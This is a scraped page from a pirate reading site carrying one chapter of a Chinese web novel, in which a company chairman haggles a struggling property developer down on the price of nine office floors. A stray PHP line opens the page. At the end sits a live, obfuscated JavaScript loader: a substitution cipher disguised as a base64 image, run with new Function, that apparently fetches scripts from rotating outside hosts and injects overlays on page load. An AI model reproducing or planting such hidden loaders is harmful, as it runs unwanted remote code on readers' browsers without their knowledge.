$floatcFile = "/www/wwwroot/xin_floatAdc.txt"; 神级农场(钢枪里的温柔)_第七百八十二章 抄底成功(1 / 2)_神级农场最新章节免费阅读无弹窗_新笔趣阁

第七百八十二章 抄底成功(1 / 2)

许佳辉强笑着说道:“夏总说笑了……3.8亿的价格绝对是超低价了,有实力接手的公司一定会心动的……”

夏若飞看着许佳辉笑而不语。

许佳辉被夏若飞看得心里有点发毛,他心里也一直在嘀咕着。

夏若飞对他们公司的现状很了解,这一点已经毋庸置疑了,但是许佳辉不知道夏若飞这种了解到了哪一步,也就是说,他根本不知道对手的底牌,而自己这边却已经快要被逼到墙角了。

不管夏若飞刚才那句话是不是随口一说,但博君地产的现状就是如此。

在资金链出现问题、集团高层决定出手衡力大厦资产套现之后,博君方面就联系了多家地产集团商谈出售的事情。

毕竟是整整9层、大半栋大楼的资产,最有可能吃下的也只有地产公司了。

然而博君地产的资金问题在圈内并不是秘密,只是了解程度的深浅而已,但就算是空穴来风,博君这边一开始出售黄金地段的大厦,那这消息也就坐实了。

地产行业也是相当残酷的,博君地产那9层楼的资产按照市场价估值,至少是超过4个亿的,但一旦他们知道博君这边资金周转出现严重问题的时候,这个估值立刻就会大大缩水。

而那些平时在行业峰会或者其他场合称兄道弟的地产商人,在这种时候可是从来不会客气的。

最终找了一圈,居然没有一家的报价超过3个亿的,摆明了就是趁火打劫。

而其他有实力的企业,如果自身没有这方面使用需求的话,对于这种投资型地产的兴趣也不是很大。

毕竟是交易涉及好几个亿的资金,而且博君这边对付款时限又要求得很急,买下来再转手或者转租,都是费时费力的事情。

最终,博君地产才想到了刚刚买下另外半栋大厦的桃源公司。

玉肌膏这款爆品,让桃源公司声名鹊起,尤其是在三山市,更是名声鼎盛。

短短几分钟内一两个亿的销售额,几乎就像是神话一样。

博君地产的决策层觉得桃源公司应该不缺现金流,而且他们又刚刚购买了另外半栋大厦,如果买下另外一半,对资源整合也是相当有利的。

思来想去,桃源公司成了博君地产重点谈判的方向。

见夏若飞不为所动,许佳辉叹了一口气,说道:“夏总,我们是抱着极大诚意上门商谈的,所以3.8亿的报价也不是最终报价,适当地降一些也不是不可以的,不过贵公司提出的3.2亿实在是太低了,集团高层难以接受这样的价格……”

夏若飞笑了笑说道:“贵集团的诚意我们自然是感受到了,而且许总上门是客,我也不可能一点面子不给,这样吧!3.3个亿,凑个吉利数字,双方也都能接受,怎么样?”

三山这边和华夏许多地方崇尚“8”字不同,本地的风俗里“3”才是吉利数字,不管是包红包、送彩礼,或者是挑选日子,都喜欢跟“3”沾边。

许佳辉见夏若飞自说自话,也不禁暗暗苦笑。

怎么就双方都能接受了?

3.3亿连集团的心理底线都没达到好不好?你一句吉利数字就抹掉几千万的差额,天底下有这么好的事儿吗?

不过许佳辉也很明白,这次谈判博君地产是处于弱势一方的,夏若飞都主动让步了,他也不好把情绪写在脸上。

努力地调整了一下,许佳辉才挤出了一丝笑容,说道:“夏总,这个价格太低了……我们这边能够再让利一千万,3.7亿,真的不能再低了,这已经是亏本大甩卖了!”

夏若飞耸耸肩说道:“亏本太夸张了吧?衡力大厦开发出来好几年了,当时的地价才多少?建材、人工成本也比现在低多了,哦!我忘了,你们是通过置换方式拿下这块地的,那成本就更低了!估计不会超过2个亿吧!”

许佳辉差点吐血。

账能这么算吗?

这几年三山的房价飞涨,光是今年一年都涨了大几千块了,哪能用当年的成本来算的?如果这样的话,那房地产商人全都改行去做慈善好了。

“夏总,这……”对于夏若飞这有些不讲理的算法,许佳辉只能报以苦笑,简直是无言以对。

夏若飞转头问冯婧:“冯总,我们总部搬迁之后,对于办公场所的需求计算出来了吗?”

冯婧立刻会意地说道:“董事长,我们经过详细的测算,目前拿下的6层大厦已经足够公司未来一段时间的发展需求了,而且还有不小的冗余!”

夏若飞这才把目光投向了许佳辉,耸耸肩说道:“许总听到了?其实我们公司对于剩下的9层楼,并没有迫切的需求,说实话我有这么多现金投到哪儿不能赚钱?我也是考虑到博君地产是本土企业,在你们有困难的时候想拉你们一把……”

许佳辉一阵腹诽:趁火打劫说得这么清新脱俗的,也是没谁了……

不过他转念一想,其实跟那些吃人不吐骨头的地产同行相比,夏若飞还算是仁慈的了,至少开价比他们高了一截。

“夏总,我承认目前集团在资金运转方面出现了一定的困难。”许佳辉诚恳地说道,“不过这困难是暂时的,而且除了衡力大厦的资产套现之外,我们也同时有多种手段筹措资金,如果价位达不到集团高层的心理预期的话,我们是宁可不出售的。”

都到这个份上了,再隐瞒资金周转问题已经没有什么意义了,许佳辉干脆就换了策略。

你不是一直说我们资金有问题吗?我承认,不过我们并不是被逼到绝路上了,脱手衡力大厦资产是为了套现,但也并非是我们唯一的路子。

这套说辞看似开诚布公,实际上也是暗示夏若飞适可而止,免得煮熟的鸭子飞了。

夏若飞却只是淡淡一笑,说道:“我知道,贵集团的周总在港岛找到了一笔资金嘛!”

许佳辉一听又是一身冷汗,周总这次亲自到港岛去,筹措了2亿港币的资金,一定程度上缓解了资金压力,目前资金缺口大概在5个亿左右,而还有一笔款子如果能顺利到账的话,基本上就差3.5个亿左右了。

这就是为什么集团高层会议给衡力大厦这比资产定下了3.5个亿心理底线的原因。

在一切顺利的情况下,衡力大厦的这9层楼也必须卖到3.5个亿以上,才能解决这次的危机。

现在周总那边已经成功了,还比预计多筹措了两千万左右;而另一位副总裁带队到京城去求援,如今也有了一定的眉目,就剩他这边出售衡力大厦的事情,一直都没有进展。

许佳辉还没来得及说话,夏若飞又淡淡地说道:“许总,据我所知,你们在建行的一笔贷款已经逾期了……”

许佳辉的脑子里嗡的一声,有些惊骇地望向了夏若飞。

看到夏若飞那笑眯眯的表情,许佳辉脸上神色飞快地变幻,很快就强作镇定地说道:“夏总对我们集团的情况很了解嘛!不过地产企业和银行的合作关系非常密切,偶尔贷款逾期的情况,银行方面也是比较理解的,这次建行对我们也非常信任,并没有给我们太大的压力……”

夏若飞依然一幅波澜不惊的样子,淡淡地说道:“是吴行长对你们比较理解吧?不过据我所知,吴行长好像下个月就到退休年龄了!”

许佳辉神色大变,这几乎是博君地产最核心的机密了。

哪怕是那些同行们,都极少有人知道博君地产在建行最大的靠山是吴副行长,因为这位副行长平时与博君地产极少打交道,但是实际上在贷款问题上对博君地产暗地里的照顾却非常大。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();